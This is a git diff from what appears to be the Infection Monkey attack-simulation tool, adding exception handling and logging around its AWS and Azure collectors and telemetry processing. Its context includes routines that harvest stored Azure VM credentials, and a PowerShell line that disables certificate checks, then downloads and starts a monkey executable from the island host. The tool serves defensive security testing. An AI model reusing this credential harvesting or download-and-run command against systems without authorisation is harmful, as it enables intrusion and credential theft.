diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py index e7d1b2361..cf50a3588 100644 --- a/monkey/common/cloud/aws_instance.py +++ b/monkey/common/cloud/aws_instance.py @@ -30,14 +30,14 @@ class AwsInstance(object): AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read() self.region = self._parse_region( urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read()) - except urllib.error.URLError as e: - logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) + except (urllib.error.URLError, IOError) as e: + logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e), exc_info=True) try: self.account_id = self._extract_account_id( urllib.request.urlopen( AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read()) - except urllib.error.URLError as e: + except (urllib.error.URLError, IOError) as e: logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e)) @staticmethod diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 02de3d1d4..53324afb7 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -113,7 +113,7 @@ class InfoCollector(object): :return: None. Updates class information """ LOG.debug("Reading subnets") - self.info['network_info'] =\ + self.info['network_info'] = \ { 'networks': get_host_subnets(), 'netstat': NetstatCollector.get_netstat_info() @@ -122,28 +122,38 @@ class InfoCollector(object): def get_azure_info(self): """ Adds credentials possibly stolen from an Azure VM instance (if we're on one) - Updates the credentials structure, creating it if neccesary (compat with mimikatz) + Updates the credentials structure, creating it if necessary (compat with mimikatz) :return: None. Updates class information """ - from infection_monkey.config import WormConfiguration - if not WormConfiguration.extract_azure_creds: - return - LOG.debug("Harvesting creds if on an Azure machine") - azure_collector = AzureCollector() - if 'credentials' not in self.info: - self.info["credentials"] = {} - azure_creds = azure_collector.extract_stored_credentials() - for cred in azure_creds: - username = cred[0] - password = cred[1] - if username not in self.info["credentials"]: - self.info["credentials"][username] = {} - # we might be losing passwords in case of multiple reset attempts on same username - # or in case another collector already filled in a password for this user - self.info["credentials"][username]['password'] = password - if len(azure_creds) != 0: - self.info["Azure"] = {} - self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds] + # noinspection PyBroadException + try: + from infection_monkey.config import WormConfiguration + if not WormConfiguration.extract_azure_creds: + return + LOG.debug("Harvesting creds if on an Azure machine") + azure_collector = AzureCollector() + if 'credentials' not in self.info: + self.info["credentials"] = {} + azure_creds = azure_collector.extract_stored_credentials() + for cred in azure_creds: + username = cred[0] + password = cred[1] + if username not in self.info["credentials"]: + self.info["credentials"][username] = {} + # we might be losing passwords in case of multiple reset attempts on same username + # or in case another collector already filled in a password for this user + self.info["credentials"][username]['password'] = password + if len(azure_creds) != 0: + self.info["Azure"] = {} + self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds] + except Exception: + # If we failed to collect azure info, no reason to fail all the collection. Log and continue. + LOG.error("Failed collecting Azure info.", exc_info=True) def get_aws_info(self): - self.info['aws'] = AwsCollector().get_aws_info() + # noinspection PyBroadException + try: + self.info['aws'] = AwsCollector().get_aws_info() + except Exception: + # If we failed to collect aws info, no reason to fail all the collection. Log and continue. + LOG.error("Failed collecting AWS info.", exc_info=True) diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index 3d3544a32..797a395aa 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -9,6 +9,7 @@ __author__ = 'itay.mizeretz' class AwsEnvironment(Environment): def __init__(self): super(AwsEnvironment, self).__init__() + # Not suppressing error here on purpose. This is critical if we're on AWS env. self.aws_info = AwsInstance() self._instance_id = self._get_instance_id() self.region = self._get_region() diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py index 78df00721..77b6d95ea 100644 --- a/monkey/monkey_island/cc/services/remote_run_aws.py +++ b/monkey/monkey_island/cc/services/remote_run_aws.py @@ -1,3 +1,5 @@ +import logging + from monkey_island.cc.services.config import ConfigService from common.cloud.aws_instance import AwsInstance from common.cloud.aws_service import AwsService @@ -7,6 +9,8 @@ from common.cmd.cmd_runner import CmdRunner __author__ = "itay.mizeretz" +logger = logging.getLogger(__name__) + class RemoteRunAwsService: aws_instance = None @@ -23,7 +27,15 @@ class RemoteRunAwsService: :return: None """ if RemoteRunAwsService.aws_instance is None: + RemoteRunAwsService.try_init_aws_instance() + + @staticmethod + def try_init_aws_instance(): + # noinspection PyBroadException + try: RemoteRunAwsService.aws_instance = AwsInstance() + except Exception: + logger.error("Failed init aws instance. Exception info: ", exc_info=True) @staticmethod def run_aws_monkeys(instances, island_ip): @@ -119,7 +131,7 @@ class RemoteRunAwsService: return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \ r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \ r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \ - r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " + r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " @staticmethod def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip): diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 84940df56..b01f349d4 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -24,6 +24,7 @@ class AWSExporter(Exporter): logger.info('No issues were found by the monkey, no need to send anything') return True + # Not suppressing error here on purpose. current_aws_region = AwsInstance().get_region() for machine in issues_list: @@ -70,6 +71,7 @@ class AWSExporter(Exporter): configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}' + # Not suppressing error here on purpose. account_id = AwsInstance().get_account_id() logger.debug("aws account id acquired: {}".format(account_id)) diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index bd4e82f3e..f64d4b4aa 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -9,11 +9,18 @@ logger = logging.getLogger(__name__) def populate_exporter_list(): manager = ReportExporterManager() - RemoteRunAwsService.init() - if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()): - manager.add_exporter_to_list(AWSExporter) + try_add_aws_exporter_to_manager(manager) if len(manager.get_exporters_list()) != 0: logger.debug( "Populated exporters list with the following exporters: {0}".format(str(manager.get_exporters_list()))) + +def try_add_aws_exporter_to_manager(manager): + # noinspection PyBroadException + try: + RemoteRunAwsService.init() + if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()): + manager.add_exporter_to_list(AWSExporter) + except Exception: + logger.error("Failed adding aws exporter to manager. Exception info:", exc_info=True) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 76b4b2a30..ed1ea4e86 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -1,3 +1,5 @@ +import logging + from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services import mimikatz_utils @@ -7,14 +9,32 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence im from monkey_island.cc.services.wmi_handler import WMIHandler from monkey_island.cc.encryptor import encryptor +logger = logging.getLogger(__name__) + def process_system_info_telemetry(telemetry_json): - process_ssh_info(telemetry_json) - process_credential_info(telemetry_json) - process_mimikatz_and_wmi_info(telemetry_json) - process_aws_data(telemetry_json) - update_db_with_new_hostname(telemetry_json) - test_antivirus_existence(telemetry_json) + telemetry_processing_stages = [ + process_ssh_info, + process_credential_info, + process_mimikatz_and_wmi_info, + process_aws_data, + update_db_with_new_hostname, + test_antivirus_existence, + ] + + # Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of failing the rest of + # them, as they are independent. + for stage in telemetry_processing_stages: + safe_process_telemetry(stage, telemetry_json) + + +def safe_process_telemetry(processing_function, telemetry_json): + # noinspection PyBroadException + try: + processing_function(telemetry_json) + except Exception as err: + logger.error("Error while in {} stage of processing telemetry.".format(processing_function.func_name), + exc_info=True) def process_ssh_info(telemetry_json): @@ -102,4 +122,4 @@ def process_aws_data(telemetry_json): def update_db_with_new_hostname(telemetry_json): - Monkey.get_single_monkey_by_id(telemetry_json['_id']).set_hostname(telemetry_json['data']['hostname']) + Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).set_hostname(telemetry_json['data']['hostname'])